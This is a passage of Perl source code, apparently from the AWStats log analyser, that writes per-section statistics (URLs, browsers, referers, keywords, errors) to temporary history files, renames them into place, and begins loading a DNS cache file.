                          . int( $_url_p{$_} || 0 )
6756
 
                          . "${xmlrs}"
6757
 
                          . int( $_url_k{$_} || 0 )
6758
 
                          . "${xmlrs}"
6759
 
                          . int( $_url_e{$_} || 0 )
6760
 
                          . "${xmlrs}"
6761
 
                          . int( $_url_x{$_} || 0 )
6762
 
                          . "${xmlre}\n";
6763
 
                }
6764
 
                foreach ( keys %_url_p ) {
6765
 
                        if ( $keysinkeylist{$_} ) { next; }
6766
 
                        my $newkey = $_;
6767
 
                        $newkey =~ s/([^:])\/\//$1\//g
6768
 
                          ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6769
 
                        print HISTORYTMP "${xmlrb}"
6770
 
                          . XMLEncodeForHisto($newkey)
6771
 
                          . "${xmlrs}"
6772
 
                          . int( $_url_p{$_} || 0 )
6773
 
                          . "${xmlrs}"
6774
 
                          . int( $_url_k{$_} || 0 )
6775
 
                          . "${xmlrs}"
6776
 
                          . int( $_url_e{$_} || 0 )
6777
 
                          . "${xmlrs}"
6778
 
                          . int( $_url_x{$_} || 0 )
6779
 
                          . "${xmlre}\n";
6780
 
                }
6781
 
                print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
6782
 
        }
6783
 
        if ( $sectiontosave eq 'filetypes' ) {
6784
 
                print HISTORYTMP "\n";
6785
 
                if ($xml) {
6786
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6787
 
                }
6788
 
                print HISTORYTMP
6789
 
"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
6790
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6791
 
                print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}"
6792
 
                  . ( scalar keys %_filetypes_h )
6793
 
                  . "${xmlbe}\n";
6794
 
                foreach ( keys %_filetypes_h ) {
6795
 
                        my $hits        = $_filetypes_h{$_}      || 0;
6796
 
                        my $bytes       = $_filetypes_k{$_}      || 0;
6797
 
                        my $bytesbefore = $_filetypes_gz_in{$_}  || 0;
6798
 
                        my $bytesafter  = $_filetypes_gz_out{$_} || 0;
6799
 
                        print HISTORYTMP
6800
 
"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
6801
 
                }
6802
 
                print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
6803
 
        }
6804
 
        if ( $sectiontosave eq 'os' ) {
6805
 
                print HISTORYTMP "\n";
6806
 
                if ($xml) {
6807
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6808
 
                }
6809
 
                print HISTORYTMP "# OS ID - Hits\n";
6810
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6811
 
                print HISTORYTMP "${xmlbb}BEGIN_OS${xmlbs}"
6812
 
                  . ( scalar keys %_os_h )
6813
 
                  . "${xmlbe}\n";
6814
 
                foreach ( keys %_os_h ) {
6815
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_os_h{$_}${xmlre}\n";
6816
 
                }
6817
 
                print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
6818
 
        }
6819
 
        if ( $sectiontosave eq 'browser' ) {
6820
 
                print HISTORYTMP "\n";
6821
 
                if ($xml) {
6822
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6823
 
                }
6824
 
                print HISTORYTMP "# Browser ID - Hits\n";
6825
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6826
 
                print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}"
6827
 
                  . ( scalar keys %_browser_h )
6828
 
                  . "${xmlbe}\n";
6829
 
                foreach ( keys %_browser_h ) {
6830
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_browser_h{$_}${xmlre}\n";
6831
 
                }
6832
 
                print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
6833
 
        }
6834
 
        if ( $sectiontosave eq 'screensize' ) {
6835
 
                print HISTORYTMP "\n";
6836
 
                if ($xml) {
6837
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6838
 
                }
6839
 
                print HISTORYTMP "# Screen size - Hits\n";
6840
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6841
 
                print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}"
6842
 
                  . ( scalar keys %_screensize_h )
6843
 
                  . "${xmlbe}\n";
6844
 
                foreach ( keys %_screensize_h ) {
6845
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n";
6846
 
                }
6847
 
                print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
6848
 
        }
6849
 
 
6850
 
        # Referer
6851
 
        if ( $sectiontosave eq 'unknownreferer' ) {
6852
 
                print HISTORYTMP "\n";
6853
 
                if ($xml) {
6854
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6855
 
                }
6856
 
                print HISTORYTMP "# Unknown referer OS - Last visit date\n";
6857
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6858
 
                print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}"
6859
 
                  . ( scalar keys %_unknownreferer_l )
6860
 
                  . "${xmlbe}\n";
6861
 
                foreach ( keys %_unknownreferer_l ) {
6862
 
                        print HISTORYTMP "${xmlrb}"
6863
 
                          . XMLEncodeForHisto($_)
6864
 
                          . "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n";
6865
 
                }
6866
 
                print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
6867
 
        }
6868
 
        if ( $sectiontosave eq 'unknownrefererbrowser' ) {
6869
 
                print HISTORYTMP "\n";
6870
 
                if ($xml) {
6871
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6872
 
                }
6873
 
                print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
6874
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6875
 
                print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}"
6876
 
                  . ( scalar keys %_unknownrefererbrowser_l )
6877
 
                  . "${xmlbe}\n";
6878
 
                foreach ( keys %_unknownrefererbrowser_l ) {
6879
 
                        print HISTORYTMP "${xmlrb}"
6880
 
                          . XMLEncodeForHisto($_)
6881
 
                          . "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n";
6882
 
                }
6883
 
                print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
6884
 
        }
6885
 
        if ( $sectiontosave eq 'origin' ) {
6886
 
                print HISTORYTMP "\n";
6887
 
                if ($xml) {
6888
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6889
 
                }
6890
 
                print HISTORYTMP "# Origin - Pages - Hits \n";
6891
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6892
 
                print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n";
6893
 
                print HISTORYTMP "${xmlrb}From0${xmlrs}"
6894
 
                  . int( $_from_p[0] )
6895
 
                  . "${xmlrs}"
6896
 
                  . int( $_from_h[0] )
6897
 
                  . "${xmlre}\n";
6898
 
                print HISTORYTMP "${xmlrb}From1${xmlrs}"
6899
 
                  . int( $_from_p[1] )
6900
 
                  . "${xmlrs}"
6901
 
                  . int( $_from_h[1] )
6902
 
                  . "${xmlre}\n";
6903
 
                print HISTORYTMP "${xmlrb}From2${xmlrs}"
6904
 
                  . int( $_from_p[2] )
6905
 
                  . "${xmlrs}"
6906
 
                  . int( $_from_h[2] )
6907
 
                  . "${xmlre}\n";
6908
 
                print HISTORYTMP "${xmlrb}From3${xmlrs}"
6909
 
                  . int( $_from_p[3] )
6910
 
                  . "${xmlrs}"
6911
 
                  . int( $_from_h[3] )
6912
 
                  . "${xmlre}\n";
6913
 
                print HISTORYTMP "${xmlrb}From4${xmlrs}"
6914
 
                  . int( $_from_p[4] )
6915
 
                  . "${xmlrs}"
6916
 
                  . int( $_from_h[4] )
6917
 
                  . "${xmlre}\n";    # Same site
6918
 
                print HISTORYTMP "${xmlrb}From5${xmlrs}"
6919
 
                  . int( $_from_p[5] )
6920
 
                  . "${xmlrs}"
6921
 
                  . int( $_from_h[5] )
6922
 
                  . "${xmlre}\n";    # News
6923
 
                print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
6924
 
        }
6925
 
        if ( $sectiontosave eq 'sereferrals' ) {
6926
 
                print HISTORYTMP "\n";
6927
 
                if ($xml) {
6928
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6929
 
                }
6930
 
                print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
6931
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6932
 
                print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}"
6933
 
                  . ( scalar keys %_se_referrals_h )
6934
 
                  . "${xmlbe}\n";
6935
 
                foreach ( keys %_se_referrals_h ) {
6936
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6937
 
                          . int( $_se_referrals_p{$_} || 0 )
6938
 
                          . "${xmlrs}$_se_referrals_h{$_}${xmlre}\n";
6939
 
                }
6940
 
                print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
6941
 
        }
6942
 
        if ( $sectiontosave eq 'pagerefs' ) {
6943
 
                print HISTORYTMP "\n";
6944
 
                if ($xml) {
6945
 
                        print HISTORYTMP
6946
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n";
6947
 
                }
6948
 
                print HISTORYTMP "# External page referers - Pages - Hits\n";
6949
 
                print HISTORYTMP
6950
 
"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
6951
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6952
 
                print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}"
6953
 
                  . ( scalar keys %_pagesrefs_h )
6954
 
                  . "${xmlbe}\n";
6955
 
 
6956
 
# We save page list in score sorted order to get a -output faster and with less use of memory.
6957
 
                &BuildKeyList(
6958
 
                        $MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
6959
 
                        \%_pagesrefs_h,           \%_pagesrefs_p
6960
 
                );
6961
 
                %keysinkeylist = ();
6962
 
                foreach (@keylist) {
6963
 
                        $keysinkeylist{$_} = 1;
6964
 
                        my $newkey = $_;
6965
 
                        $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
6966
 
                          ; # Remove / at end of http://.../ but not at end of http://.../dir/
6967
 
                        print HISTORYTMP "${xmlrb}"
6968
 
                          . XMLEncodeForHisto($newkey)
6969
 
                          . "${xmlrs}"
6970
 
                          . int( $_pagesrefs_p{$_} || 0 )
6971
 
                          . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
6972
 
                }
6973
 
                foreach ( keys %_pagesrefs_h ) {
6974
 
                        if ( $keysinkeylist{$_} ) { next; }
6975
 
                        my $newkey = $_;
6976
 
                        $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
6977
 
                          ; # Remove / at end of http://.../ but not at end of http://.../dir/
6978
 
                        print HISTORYTMP "${xmlrb}"
6979
 
                          . XMLEncodeForHisto($newkey)
6980
 
                          . "${xmlrs}"
6981
 
                          . int( $_pagesrefs_p{$_} || 0 )
6982
 
                          . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
6983
 
                }
6984
 
                print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
6985
 
        }
6986
 
        if ( $sectiontosave eq 'searchwords' ) {
6987
 
 
6988
 
                # Save phrases section
6989
 
                print HISTORYTMP "\n";
6990
 
                if ($xml) {
6991
 
                        print HISTORYTMP
6992
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n";
6993
 
                }
6994
 
                print HISTORYTMP "# Search keyphrases - Number of search\n";
6995
 
                print HISTORYTMP
6996
 
"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
6997
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6998
 
                print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}"
6999
 
                  . ( scalar keys %_keyphrases )
7000
 
                  . "${xmlbe}\n";
7001
 
 
7002
 
                # We will also build _keywords
7003
 
                %_keywords = ();
7004
 
 
7005
 
# We save key list in score sorted order to get a -output faster and with less use of memory.
7006
 
                &BuildKeyList( $MaxNbOf{'KeywordsShown'},
7007
 
                        $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
7008
 
                %keysinkeylist = ();
7009
 
                foreach my $key (@keylist) {
7010
 
                        $keysinkeylist{$key} = 1;
7011
 
                        my $keyphrase = $key;
7012
 
                        $keyphrase =~ tr/ /\+/s;
7013
 
                        print HISTORYTMP "${xmlrb}"
7014
 
                          . XMLEncodeForHisto($keyphrase)
7015
 
                          . "${xmlrs}"
7016
 
                          . $_keyphrases{$key}
7017
 
                          . "${xmlre}\n";
7018
 
                        foreach ( split( /\+/, $key ) ) {
7019
 
                                $_keywords{$_} += $_keyphrases{$key};
7020
 
                        }    # To init %_keywords
7021
 
                }
7022
 
                foreach my $key ( keys %_keyphrases ) {
7023
 
                        if ( $keysinkeylist{$key} ) { next; }
7024
 
                        my $keyphrase = $key;
7025
 
                        $keyphrase =~ tr/ /\+/s;
7026
 
                        print HISTORYTMP "${xmlrb}"
7027
 
                          . XMLEncodeForHisto($keyphrase)
7028
 
                          . "${xmlrs}"
7029
 
                          . $_keyphrases{$key}
7030
 
                          . "${xmlre}\n";
7031
 
                        foreach ( split( /\+/, $key ) ) {
7032
 
                                $_keywords{$_} += $_keyphrases{$key};
7033
 
                        }    # To init %_keywords
7034
 
                }
7035
 
                print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
7036
 
 
7037
 
                # Now save keywords section
7038
 
                print HISTORYTMP "\n";
7039
 
                if ($xml) {
7040
 
                        print HISTORYTMP
7041
 
"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n";
7042
 
                }
7043
 
                print HISTORYTMP "# Search keywords - Number of search\n";
7044
 
                print HISTORYTMP
7045
 
"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
7046
 
                $ValueInFile{"keywords"} = tell HISTORYTMP;
7047
 
                print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}"
7048
 
                  . ( scalar keys %_keywords )
7049
 
                  . "${xmlbe}\n";
7050
 
 
7051
 
# We save key list in score sorted order to get a -output faster and with less use of memory.
7052
 
                &BuildKeyList( $MaxNbOf{'KeywordsShown'},
7053
 
                        $MinHit{'Keyword'}, \%_keywords, \%_keywords );
7054
 
                %keysinkeylist = ();
7055
 
                foreach (@keylist) {
7056
 
                        $keysinkeylist{$_} = 1;
7057
 
                        my $keyword = $_;
7058
 
                        print HISTORYTMP "${xmlrb}"
7059
 
                          . XMLEncodeForHisto($keyword)
7060
 
                          . "${xmlrs}"
7061
 
                          . $_keywords{$_}
7062
 
                          . "${xmlre}\n";
7063
 
                }
7064
 
                foreach ( keys %_keywords ) {
7065
 
                        if ( $keysinkeylist{$_} ) { next; }
7066
 
                        my $keyword = $_;
7067
 
                        print HISTORYTMP "${xmlrb}"
7068
 
                          . XMLEncodeForHisto($keyword)
7069
 
                          . "${xmlrs}"
7070
 
                          . $_keywords{$_}
7071
 
                          . "${xmlre}\n";
7072
 
                }
7073
 
                print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
7074
 
 
7075
 
        }
7076
 
 
7077
 
        # Other - Errors
7078
 
        if ( $sectiontosave eq 'cluster' ) {
7079
 
                print HISTORYTMP "\n";
7080
 
                if ($xml) {
7081
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7082
 
                }
7083
 
                print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
7084
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
7085
 
                print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}"
7086
 
                  . ( scalar keys %_cluster_h )
7087
 
                  . "${xmlbe}\n";
7088
 
                foreach ( keys %_cluster_h ) {
7089
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
7090
 
                          . int( $_cluster_p{$_} || 0 )
7091
 
                          . "${xmlrs}"
7092
 
                          . int( $_cluster_h{$_} || 0 )
7093
 
                          . "${xmlrs}"
7094
 
                          . int( $_cluster_k{$_} || 0 )
7095
 
                          . "${xmlre}\n";
7096
 
                }
7097
 
                print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
7098
 
        }
7099
 
        if ( $sectiontosave eq 'misc' ) {
7100
 
                print HISTORYTMP "\n";
7101
 
                if ($xml) {
7102
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7103
 
                }
7104
 
                print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
7105
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
7106
 
                print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}"
7107
 
                  . ( scalar keys %MiscListCalc )
7108
 
                  . "${xmlbe}\n";
7109
 
                foreach ( keys %MiscListCalc ) {
7110
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
7111
 
                          . int( $_misc_p{$_} || 0 )
7112
 
                          . "${xmlrs}"
7113
 
                          . int( $_misc_h{$_} || 0 )
7114
 
                          . "${xmlrs}"
7115
 
                          . int( $_misc_k{$_} || 0 )
7116
 
                          . "${xmlre}\n";
7117
 
                }
7118
 
                print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
7119
 
        }
7120
 
        if ( $sectiontosave eq 'errors' ) {
7121
 
                print HISTORYTMP "\n";
7122
 
                if ($xml) {
7123
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7124
 
                }
7125
 
                print HISTORYTMP "# Errors - Hits - Bandwidth\n";
7126
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
7127
 
                print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}"
7128
 
                  . ( scalar keys %_errors_h )
7129
 
                  . "${xmlbe}\n";
7130
 
                foreach ( keys %_errors_h ) {
7131
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}"
7132
 
                          . int( $_errors_k{$_} || 0 )
7133
 
                          . "${xmlre}\n";
7134
 
                }
7135
 
                print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
7136
 
        }
7137
 
 
7138
 
        # Other - Trapped errors
7139
 
        foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
7140
 
                if ( $sectiontosave eq "sider_$code" ) {
7141
 
                        print HISTORYTMP "\n";
7142
 
                        if ($xml) {
7143
 
                                print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7144
 
                        }
7145
 
                        print HISTORYTMP
7146
 
                          "# URL with $code errors - Hits - Last URL referer\n";
7147
 
                        $ValueInFile{$sectiontosave} = tell HISTORYTMP;
7148
 
                        print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}"
7149
 
                          . ( scalar keys %_sider404_h )
7150
 
                          . "${xmlbe}\n";
7151
 
                        foreach ( keys %_sider404_h ) {
7152
 
                                my $newkey = $_;
7153
 
                                my $newreferer = $_referer404_h{$_} || '';
7154
 
                                print HISTORYTMP "${xmlrb}"
7155
 
                                  . XMLEncodeForHisto($newkey)
7156
 
                                  . "${xmlrs}$_sider404_h{$_}${xmlrs}"
7157
 
                                  . XMLEncodeForHisto($newreferer)
7158
 
                                  . "${xmlre}\n";
7159
 
                        }
7160
 
                        print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
7161
 
                }
7162
 
        }
7163
 
 
7164
 
        # Other - Extra stats sections
7165
 
        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
7166
 
                if ( $sectiontosave eq "extra_$extranum" ) {
7167
 
                        print HISTORYTMP "\n";
7168
 
                        if ($xml) {
7169
 
                                print HISTORYTMP
7170
 
"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n";
7171
 
                        }
7172
 
                        print HISTORYTMP
7173
 
                          "# Extra key - Pages - Hits - Bandwidth - Last access\n";
7174
 
                        print HISTORYTMP
7175
 
                          "# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
7176
 
                        $ValueInFile{$sectiontosave} = tell HISTORYTMP;
7177
 
                        print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}"
7178
 
                          . scalar( keys %{ '_section_' . $extranum . '_h' } )
7179
 
                          . "${xmlbe}\n";
7180
 
                        &BuildKeyList(
7181
 
                                $MaxNbOfExtra[$extranum],
7182
 
                                $MinHitExtra[$extranum],
7183
 
                                \%{ '_section_' . $extranum . '_h' },
7184
 
                                \%{ '_section_' . $extranum . '_p' }
7185
 
                        );
7186
 
                        %keysinkeylist = ();
7187
 
                        foreach (@keylist) {
7188
 
                                $keysinkeylist{$_} = 1;
7189
 
                                my $page       = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7190
 
                                my $bytes      = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7191
 
                                my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7192
 
                                print HISTORYTMP "${xmlrb}"
7193
 
                                  . XMLEncodeForHisto($_)
7194
 
                                  . "${xmlrs}$page${xmlrs}",
7195
 
                                  ${ '_section_' . $extranum . '_h' }{$_},
7196
 
                                  "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7197
 
                                next;
7198
 
                        }
7199
 
                        foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
7200
 
                                if ( $keysinkeylist{$_} ) { next; }
7201
 
                                my $page       = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7202
 
                                my $bytes      = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7203
 
                                my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7204
 
                                print HISTORYTMP "${xmlrb}"
7205
 
                                  . XMLEncodeForHisto($_)
7206
 
                                  . "${xmlrs}$page${xmlrs}",
7207
 
                                  ${ '_section_' . $extranum . '_h' }{$_},
7208
 
                                  "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7209
 
                                next;
7210
 
                        }
7211
 
                        print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
7212
 
                }
7213
 
        }
7214
 
 
7215
 
        # Other - Plugin sections
7216
 
        if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) {
7217
 
                my $pluginname = $1;
7218
 
                if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) {
7219
 
 
7220
 
#               my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
7221
 
#                   eval("$function");
7222
 
                        my $function = "SectionWriteHistory_$pluginname";
7223
 
                        &$function(
7224
 
                                $xml,   $xmlbb, $xmlbs, $xmlbe, $xmlrb,
7225
 
                                $xmlrs, $xmlre, $xmleb, $xmlee
7226
 
                        );
7227
 
                }
7228
 
        }
7229
 
 
7230
 
        %keysinkeylist = ();
7231
 
}
7232
 
 
7233
 
#--------------------------------------------------------------------
7234
 
# Function:     Rename all tmp history file into history
7235
 
# Parameters:   None
7236
 
# Input:        $DirData $PROG $FileSuffix
7237
 
#               $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
7238
 
# Output:       None
7239
 
# Return:       1 Ok, 0 at least one error (tmp files are removed)
7240
 
#--------------------------------------------------------------------
7241
 
sub Rename_All_Tmp_History {
7242
 
        my $pid      = $$;
7243
 
        my $renameok = 1;
7244
 
 
7245
 
        if ($Debug) {
7246
 
                debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)");
7247
 
        }
7248
 
 
7249
 
        opendir( DIR, "$DirData" );
7250
 
 
7251
 
        my $datemask;
7252
 
        if    ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; }
7253
 
        elsif ( $DatabaseBreak eq 'year' )  { $datemask = '\d\d\d\d'; }
7254
 
        elsif ( $DatabaseBreak eq 'day' )   { $datemask = '\d\d\d\d\d\d\d\d'; }
7255
 
        elsif ( $DatabaseBreak eq 'hour' )  { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
7256
 
        if ($Debug) {
7257
 
                debug(
7258
 
"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
7259
 
                );
7260
 
        }
7261
 
 
7262
 
        my $regfilesuffix = quotemeta($FileSuffix);
7263
 
        foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
7264
 
                file_filt sort readdir DIR )
7265
 
        {
7266
 
                /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
7267
 
                if ($renameok) {    # No rename error yet
7268
 
                        if ($Debug) {
7269
 
                                debug(
7270
 
" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",
7271
 
                                        1
7272
 
                                );
7273
 
                        }
7274
 
                        if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" )
7275
 
                        {               # Rename tmp files if size > 0
7276
 
                                if ($KeepBackupOfHistoricFiles) {
7277
 
                                        if ( -s "$DirData/$PROG$1$FileSuffix.txt" )
7278
 
                                        {       # History file already exists. We backup it
7279
 
                                                if ($Debug) {
7280
 
                                                        debug(
7281
 
"  Make a backup of old history file into $PROG$1$FileSuffix.bak before",
7282
 
                                                                1
7283
 
                                                        );
7284
 
                                                }
7285
 
 
7286
 
#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
7287
 
                                                if (
7288
 
                                                        rename(
7289
 
                                                                "$DirData/$PROG$1$FileSuffix.txt",
7290
 
                                                                "$DirData/$PROG$1$FileSuffix.bak"
7291
 
                                                        ) == 0
7292
 
                                                  )
7293
 
                                                {
7294
 
                                                        warning(
7295
 
"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
7296
 
                                                        );
7297
 
                                                }
7298
 
                                                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7299
 
                                                        chmod 0666, "$DirData/$PROG$1$FileSuffix.bak";
7300
 
                                                }
7301
 
                                        }
7302
 
                                        else {
7303
 
                                                if ($Debug) {
7304
 
                                                        debug( "  No need to backup old history file", 1 );
7305
 
                                                }
7306
 
                                        }
7307
 
                                }
7308
 
                                if (
7309
 
                                        rename(
7310
 
                                                "$DirData/$PROG$1$FileSuffix.tmp.$$",
7311
 
                                                "$DirData/$PROG$1$FileSuffix.txt"
7312
 
                                        ) == 0
7313
 
                                  )
7314
 
                                {
7315
 
                                        $renameok =
7316
 
                                          0;    # At least one error in renaming working files
7317
 
                                                # Remove tmp file
7318
 
                                        unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7319
 
                                        warning(
7320
 
"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
7321
 
                                                  . (
7322
 
                                                        $ENV{'GATEWAY_INTERFACE'}
7323
 
                                                        ? " for an 'update from web'"
7324
 
                                                        : ""
7325
 
                                                  )
7326
 
                                                  . " or file might be opened."
7327
 
                                        );
7328
 
                                        next;
7329
 
                                }
7330
 
                                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7331
 
                                        chmod 0666, "$DirData/$PROG$1$FileSuffix.txt";
7332
 
                                }
7333
 
                        }
7334
 
                }
7335
 
                else {    # Because of rename error, we remove all remaining tmp files
7336
 
                        unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7337
 
                }
7338
 
        }
7339
 
        close DIR;
7340
 
        return $renameok;
7341
 
}
7342
 
 
7343
 
#------------------------------------------------------------------------------
7344
 
# Function:     Load DNS cache file entries into a memory hash array
7345
 
# Parameters:   Hash array ref to load into,
7346
 
#               File name to load,
7347
 
#                               File suffix to use
7348
 
#               Save to a second plugin file if not up to date
7349
 
# Input:                None
7350
 
# Output:               Hash array is loaded
7351
 
# Return:               1 No DNS Cache file found, 0 OK
7352
 
#------------------------------------------------------------------------------
7353
 
sub Read_DNS_Cache {
7354
 
        my $hashtoload   = shift;
7355
 
        my $dnscachefile = shift;
7356
 
        my $filesuffix   = shift;
7357
 
        my $savetohash   = shift;
7358
 
 
7359
 
        my $dnscacheext = '';
7360
 
        my $filetoload  = '';
7361
 
        my $timetoload  = time();
7362
 
 
7363
 
        if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
7364
 
        if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7365
 
        foreach my $dir ( "$DirData", ".", "" ) {
7366
 
                my $searchdir = $dir;
7367
 
                if (   $searchdir
7368
 
                        && ( !( $searchdir =~ /\/$/ ) )
7369
 
                        && ( !( $searchdir =~ /\\$/ ) ) )
7370
 
                {
7371
 
                        $searchdir .= "/";
7372
 
                }
7373
 
                if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
7374
 
                        $filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
7375
 
                }
7376
 
 
7377
 
                # Plugin call : Change filetoload
7378
 
